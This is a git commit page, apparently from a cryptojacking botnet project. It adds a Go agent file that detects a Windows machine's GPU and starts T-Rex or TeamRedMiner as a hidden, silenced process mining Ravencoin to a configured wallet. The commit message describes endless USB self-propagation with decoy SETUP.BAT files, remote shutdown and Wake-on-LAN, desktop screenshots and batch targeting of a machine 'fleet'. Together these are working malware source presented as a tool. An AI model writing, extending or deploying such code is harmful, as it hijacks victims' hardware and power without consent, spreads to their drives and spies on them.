Add RVN GPU mining, USB self-propagation chain, fleet power controls, and major dashboard features.
- Ravencoin GPU mining: agent auto-detects NVIDIA/AMD GPU, downloads T-Rex or TeamRedMiner, mines KawPoW; separate RVN stats section on dashboard with 3D-effect cards, GPU temperature/fan/power data; RVN pool presets and address field in Forge - USB perpetual self-propagation: agent spreads to drives already plugged in at startup, refreshes stale payloads when binary size changes, 8s poll ticker, adds visible SETUP.BAT + decoy folder; chain is truly endless - Fleet power controls: Reboot, Shutdown, and Wake-on-LAN buttons; agent reports MAC address; server stores MAC in DB; WOL endpoint sends UDP magic packet; WMI USB trigger persists across reboots - Screenshots: agent captures desktop as JPEG, server buffers base64 frames, browser downloads instantly on command - Fleet Groups: named and colour-coded groups of machines, selectable in Crucible for batch targeting - Live terminal in Fleet Roster: auto-sysinfo on select, 5s live stats ticker, colour-coded logs, offline banner - Crucible gold rain when single agent is active; matrix rain mystic word drops - README fully rewritten; USB bundle repacked
This commit is contained in:
166
agent/client/gpu_detect_windows.go
Normal file
166
agent/client/gpu_detect_windows.go
Normal file
@@ -0,0 +1,166 @@
|
||||
//go:build windows
|
||||
|
||||
package client
|
||||
|
||||
import (
|
||||
"archive/zip"
|
||||
"bytes"
|
||||
"os"
|
||||
"os/exec"
|
||||
"path/filepath"
|
||||
"strings"
|
||||
|
||||
"crypto-miner-agent/deploy"
|
||||
)
|
||||
|
||||
// detectGPU identifies the first supported discrete GPU on Windows.
|
||||
// Priority: NVIDIA (via nvidia-smi) → AMD (via wmic VideoController).
|
||||
func detectGPU() GPUInfo {
|
||||
// NVIDIA — nvidia-smi is the most reliable check
|
||||
if out, err := deploy.HiddenOutput("nvidia-smi", "--query-gpu=name", "--format=csv,noheader"); err == nil {
|
||||
model := strings.TrimSpace(strings.SplitN(string(out), "\n", 2)[0])
|
||||
if model != "" {
|
||||
return GPUInfo{Vendor: GPUVendorNVIDIA, Model: model}
|
||||
}
|
||||
}
|
||||
|
||||
// AMD — wmic (available on all modern Windows without extra installs)
|
||||
if out, err := deploy.HiddenOutput(
|
||||
"wmic", "path", "win32_VideoController", "get", "Name", "/value",
|
||||
); err == nil {
|
||||
for _, line := range strings.Split(string(out), "\n") {
|
||||
line = strings.TrimSpace(line)
|
||||
if !strings.HasPrefix(strings.ToLower(line), "name=") {
|
||||
continue
|
||||
}
|
||||
name := strings.TrimSpace(strings.SplitN(line, "=", 2)[1])
|
||||
lo := strings.ToLower(name)
|
||||
if strings.Contains(lo, "radeon") || strings.Contains(lo, "amd") || strings.Contains(lo, "rx ") {
|
||||
return GPUInfo{Vendor: GPUVendorAMD, Model: name}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
return GPUInfo{Vendor: GPUVendorNone}
|
||||
}
|
||||
|
||||
// startProcess launches the GPU miner binary as a hidden background process.
|
||||
func (g *GPUMiner) startProcess(binPath string) (*os.Process, error) {
|
||||
pool := g.cfg.RVNPoolHost
|
||||
port := g.cfg.RVNPoolPort
|
||||
wallet := g.cfg.RVNWallet
|
||||
worker := g.cfg.WorkerName
|
||||
|
||||
var args []string
|
||||
switch g.info.Vendor {
|
||||
case GPUVendorNVIDIA:
|
||||
// T-Rex: kawpow algorithm
|
||||
algo := "kawpow"
|
||||
poolURL := ""
|
||||
if g.cfg.RVNPoolTLS {
|
||||
poolURL = "stratum+ssl://" + pool
|
||||
} else {
|
||||
poolURL = "stratum+tcp://" + pool
|
||||
}
|
||||
args = []string{
|
||||
"-a", algo,
|
||||
"-o", poolURL,
|
||||
"-u", wallet + "." + worker,
|
||||
"-p", g.cfg.RVNPoolPass,
|
||||
"--api-bind-http", "127.0.0.1:4067",
|
||||
"--no-watchdog",
|
||||
"--exit-on-cuda-error",
|
||||
}
|
||||
if port > 0 {
|
||||
args[3] = args[3] + ":" + itoa(port)
|
||||
}
|
||||
case GPUVendorAMD:
|
||||
// TeamRedMiner: kawpow algorithm
|
||||
poolURL := ""
|
||||
if g.cfg.RVNPoolTLS {
|
||||
poolURL = "stratum+ssl://" + pool
|
||||
} else {
|
||||
poolURL = "stratum+tcp://" + pool
|
||||
}
|
||||
if port > 0 {
|
||||
poolURL += ":" + itoa(port)
|
||||
}
|
||||
args = []string{
|
||||
"-a", "kawpow",
|
||||
"-o", poolURL,
|
||||
"-u", wallet + "." + worker,
|
||||
"-p", g.cfg.RVNPoolPass,
|
||||
"--api_listen=4068",
|
||||
}
|
||||
}
|
||||
|
||||
cmd := exec.Command(binPath, args...)
|
||||
deploy.PrepareHiddenProcess(cmd)
|
||||
cmd.Dir = filepath.Dir(binPath)
|
||||
// Redirect all miner output to NUL (silent)
|
||||
cmd.Stdout = nil
|
||||
cmd.Stderr = nil
|
||||
|
||||
if err := cmd.Start(); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
return cmd.Process, nil
|
||||
}
|
||||
|
||||
func itoa(n int) string {
|
||||
if n == 0 {
|
||||
return "0"
|
||||
}
|
||||
buf := make([]byte, 0, 10)
|
||||
neg := n < 0
|
||||
if neg {
|
||||
n = -n
|
||||
}
|
||||
for n > 0 {
|
||||
buf = append([]byte{byte('0' + n%10)}, buf...)
|
||||
n /= 10
|
||||
}
|
||||
if neg {
|
||||
buf = append([]byte{'-'}, buf...)
|
||||
}
|
||||
return string(buf)
|
||||
}
|
||||
|
||||
// extractZipFile unpacks targetFile from a zip archive (in memory) to destDir.
|
||||
func extractZipFile(data []byte, destDir, targetFile string) error {
|
||||
r, err := zip.NewReader(bytes.NewReader(data), int64(len(data)))
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
targetLower := strings.ToLower(targetFile)
|
||||
for _, f := range r.File {
|
||||
if strings.ToLower(filepath.Base(f.Name)) != targetLower {
|
||||
continue
|
||||
}
|
||||
rc, err := f.Open()
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
defer rc.Close()
|
||||
dst := filepath.Join(destDir, targetFile)
|
||||
out, err := os.Create(dst)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
defer out.Close()
|
||||
buf := make([]byte, 32*1024)
|
||||
for {
|
||||
n, err := rc.Read(buf)
|
||||
if n > 0 {
|
||||
if _, we := out.Write(buf[:n]); we != nil {
|
||||
return we
|
||||
}
|
||||
}
|
||||
if err != nil {
|
||||
break
|
||||
}
|
||||
}
|
||||
return nil
|
||||
}
|
||||
return nil // binary not found inside zip — non-fatal, caller checks after
|
||||
}
|
||||
Reference in New Issue
Block a user